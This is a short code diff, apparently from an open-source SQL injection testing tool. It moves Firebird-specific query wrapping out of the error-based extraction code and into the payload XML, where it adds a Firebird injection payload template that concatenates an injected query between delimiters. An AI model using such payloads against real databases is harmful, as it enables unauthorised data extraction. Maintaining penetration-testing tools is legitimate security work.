diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py
index b6ea7f79f..54b509b73 100644
--- a/lib/techniques/error/use.py
+++ b/lib/techniques/error/use.py
@@ -181,9 +181,6 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
- if kb.technique == PAYLOAD.TECHNIQUE.QUERY and Backend.isDbms(DBMS.FIREBIRD) and expressionReplaced.startswith("SELECT "):
- expressionReplaced = "SELECT %s" % agent.concatQuery(expressionReplaced)
-
output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field)
if not kb.threadContinue:
diff --git a/xml/payloads.xml b/xml/payloads.xml
index 0db1df5d9..8f6652061 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -2003,7 +2003,7 @@ Formats:
1
1,2,3,8
3
- [QUERY]
+ SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE
SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE